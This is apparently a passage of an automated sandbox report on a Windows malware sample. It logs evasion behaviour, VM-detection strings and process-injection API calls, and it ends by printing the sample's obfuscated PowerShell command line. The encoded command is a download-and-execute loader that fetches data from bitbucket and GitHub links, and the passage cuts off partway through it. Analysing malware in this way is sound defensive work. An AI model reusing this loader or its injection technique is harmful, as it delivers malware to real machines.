Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1003	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2460	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3884	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5924	Jump to behavior

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_4-2345

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7532	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7600	Thread sleep count: 3884 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7600	Thread sleep count: 5924 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7636	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

Code function: 4_2_00007FF7E6E8204C FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

4_2_00007FF7E6E8204C

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

Code function: 4_2_00007FF7E6E864E4 GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

4_2_00007FF7E6E864E4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 0000000B.00000002.1497423977.000002498DFF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: wscript.exe, 00000008.00000002.1287840296.0000024097ED0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}h
Source: powershell.exe, 0000000B.00000002.1497423977.000002498DFF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 0000000B.00000002.1497423977.000002498DFF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

Code function: 4_2_00007FF7E6E830EC GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,GetWindowsDirectoryA,SetCurrentDirectoryA,

4_2_00007FF7E6E830EC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Code function: 4_2_00007FF7E6E88790 SetUnhandledExceptionFilter,		4_2_00007FF7E6E88790
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Code function: 4_2_00007FF7E6E88494 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		4_2_00007FF7E6E88494

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_7548.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7548, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 11.2.powershell.exe.2498e03c5e0.1.raw.unpack, Progrgdfam3.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)))
Source: 11.2.powershell.exe.2498e03c5e0.1.raw.unpack, Progrgdfam3.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)))
Source: 11.2.powershell.exe.2498e03c5e0.1.raw.unpack, Progrgdfam3.cs	Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num4 + 8, ref buffer, 4, ref bytesRead)
Source: 11.2.powershell.exe.2498e03c5e0.1.raw.unpack, Progrgdfam3.cs	Reference to suspicious API methods: VirtualAllocEx(processInformation.ProcessHandle, num3, length, 12288, 64)
Source: 11.2.powershell.exe.2498e03c5e0.1.raw.unpack, Progrgdfam3.cs	Reference to suspicious API methods: WriteProcessMemory(processInformation.ProcessHandle, num5, payload, bufferSize, ref bytesRead)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sodigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$